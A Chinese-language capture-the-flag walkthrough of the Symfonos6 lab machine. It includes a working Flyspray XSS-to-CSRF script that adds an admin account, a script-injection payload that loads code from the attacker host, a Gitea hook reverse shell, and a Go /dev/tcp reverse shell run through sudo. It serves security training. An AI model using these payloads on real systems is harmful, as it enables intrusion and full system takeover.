靶场地址: 点我.
信息收集
nmap -sP 192.168.157.148/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-01 01:20 EDT
Nmap scan report for 192.168.157.2
Host is up (0.00080s latency).
Nmap scan report for 192.168.157.158
Host is up (0.00028s latency).
Nmap scan report for 192.168.157.177
Host is up (0.0022s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.24 seconds
其中177是目标主机的ip,158是Kali
扫描端口
nmap -A 192.168.157.177 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 0e:ad:33:fc:1a:1e:85:54:64:13:39:14:68:09:c1:70 (RSA)
| 256 54:03:9b:48:55:de:b3:2b:0a:78:90:4a:b3:1f:fa:cd (ECDSA)
|_ 256 4e:0c:e6:3d:5c:08:09:f4:11:48:85:a2:e7:fb:8f:b7 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=4f0c5f7acc9a3762; Path=/; HttpOnly
| Set-Cookie: _csrf=nx2GTiGxodcBSpB7mW8hiyZBJZ86MTY1MTM4MjQ5NDIzMjQwMTI4NA; Path=/; Expires=Mon, 02 May 2022 05:21:34 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 01 May 2022 05:21:34 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
| console.info('ServiceWorker registration successful with scope: ', registrat
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=bf98f678739c7253; Path=/; HttpOnly
| Set-Cookie: _csrf=aKTCU02c6tMCJ5trT1sXoTxOrzc6MTY1MTM4MjQ5OTI2NDY0NzgzMw; Path=/; Expires=Mon, 02 May 2022 05:21:39 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 01 May 2022 05:21:39 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_ console.info('ServiceWorker registration successful
3306/tcp open mysql MariaDB (unauthorized)
5000/tcp open upnp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Sun, 01 May 2022 05:22:04 GMT
| Content-Length: 18
| page not found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Sun, 01 May 2022 05:21:34 GMT
| Content-Length: 18
| page not found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Sun, 01 May 2022 05:21:49 GMT
| Content-Length: 18
|_ page not found
可以看到,目标主机开放了22,80,3000,3306和5000.
这里我先看一下80端口
依旧是一张没有用的图片,f12看源码也看不出来有什么有用的信息。
扫描一下目录
dirb http://192.168.157.177
扫出来的内容有很多,但大致方向就是/posts和/flyspray这两个目录。
先看看posts
没什么用,根据dirb还发现该目录下有个includes目录
居然找到了php连接数据库的配置文件,不过如果找不到文件包含漏洞或者其他方法的话,我们是看不了这两个文件的内容的。
再看看/flyspray目录
感觉上flyspray是一个类似cms一样的东西,根据之前的dirb,我将扫描出来的结果一个一个看了过去,发现在/flyspray/docs/UPGRADING.txt文件中有个关于flyspray版本升级的说明。
内容有很多,我只截了开头,可以看到flyspray版本目前是1.0的。我们可以去kali的漏洞库里找一找有没有相应的漏洞。
searchsploit flyspray
这里我试了一下,倒数第二个是可以使用的。
我们查看一下这个漏洞的说明
cat /usr/share/exploitdb/exploits/php/webapps/41918.txt
# Exploit Title: XSRF Stored FlySpray 1.0-rc4 (XSS2CSRF add admin account)
# Date: 19/04/2017
# Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT
: https://www.openoffice.org
# Version: 1.0-rc4
# Tested on: Windows 7 x64 SP1 / Kali Linux
Description :
A vulnerability has been discovered in Flyspray , which can be
exploited by malicious people to conduct cross-site scripting attacks. Input
passed via the 'real_name' parameter to '/index.php?do=myprofile' is not
properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.
The script is executed on the parameter page AND on any page that allow the
user to put a comment.
This XSS vector allow to execute scripts to gather the CSRF token
and submit a form to create a new admin
Here's the script :
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form"
action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="
root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
This will create a new admin account, hacker:12345678
POC video : *https://www.youtube.com/watch?v=eCf9a0QpnPs
Patch : No patch yet
这个漏洞是通过xss来利用csrf来创建一个管理员账户,用户名hacker,密码12345678,对于这个漏洞的利用,我查阅了一些资料和观看了这个文本下面的视频链接。大致是这样利用的:
漏洞利用:XSS2CSRF
首先我们需要创建一个普通用户,用户名密码随便写
点击注册这个账户按钮后会出现这个界面,没关系,不影响注册功能的运行
然后登录我们刚刚创建的账户
然后点击右上角,进入个人信息的编辑页面
可以看到图片的右边,普通用户权限很低,这里在利用这个漏洞之前,我们现在kali开一个apache服务,因为我们后面要利用xss的远程代码执行。
在利用这个漏洞之前,我们需要在report bug中进行一次回复,不然后面就没法回复了。
kali的操作:
service apache2 start
然后在/var/www/html/目录下新建一个test.js文件,写入一下内容
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
完成之后,回到刚刚用户编辑页面,将自己的real name修改成
"><script src="http://192.168.157.158/test.js"></script>
然后点击update details按钮,这个时候就发现我们进不去个人信息页面了,我们刚刚评论的那个report bug也进不去了。这个时候千万不能注销然后点进去看。
总的来说,就是我们在某个summary里写一个评论,修改我们的real name,real name存在xss漏洞,我们一旦做了评论,目标主机的管理员就会查看这个评论,就中了xss攻击,从而创建了一个新的具有管理员权限的用户,hacker:12345678。
这个时候我们登录hacker用户看一下
漏洞利用成功,如果照着我前面的做法做,然后登录却发现hacker用户名不存在,可以先等一等,我是边等边玩手机,玩了半个小时吧XD
这个时候注意到在主页的tasklist中多了一个summary,我们点击去看一下
从这个信息中可以看出本地有一个gitea,用户名为achilles,密码h2sBr9gryBunKdF9。这时候我再访问一下目标主机的3000端口。
发现3000端口就是gitea,版本是1.11.4,这里我查了一下漏洞库,发现是有漏洞可以利用的。
我尝试使用第一个,不过使用失败。麻了。
先登录一下看看吧。
能登录的话就好说了,我这里先点击右侧的 achilles /
symfonos-blog链接
然后点击settings,再点击git hooks,点击update并进行修改(这个文件会在我们修改该项目的内容后自动执行)
随便找个地方写一个反弹shell的命令。
然后随便修改这个项目的一个文件
我这里修改的是index.php文件,随便写点东西就行。
然后点击commit change按钮,就能够收到shell了。
提权
这里我去访问一下家目录。
发现有个用户就叫achilles,这里尝试用之前收集到的密码进行登录。
登录成功!sudo -l看一下情况。
可以看到,achilles用户可以以任何人在不需要密码的情况下使用go命令,这个go命令是个啥玩意。。
我这里百度了一下才知道原来跟go语言有关,其中go命令中有个选项就是run,能够编译和运行go语言写的程序,由于我没学过go语言,所以我在网上找了一个用go语言调用shell的代码。
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("exec bash -i >& /dev/tcp/192.168.157.158/8888 0>&1")
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}
在本地,将这些代码复制到自己新建的shell.go文件中,然后起一个python的web服务。
python -m http.server 80
目标主机这边用wget来接收
wget http://192.168.157.158/shell.go
最后执行这一条命令:
sudo /usr/local/go/bin/go run shell.go
起飞。
总结
这个靶机我个人感觉难度还行,主要的技术就是xxs2csrf那里,只要明白了这个漏洞怎么利用,那后面的内容就很简单了。
这就是这个靶机的全部攻略,如果有讲的不好的地方欢迎各位大佬指点。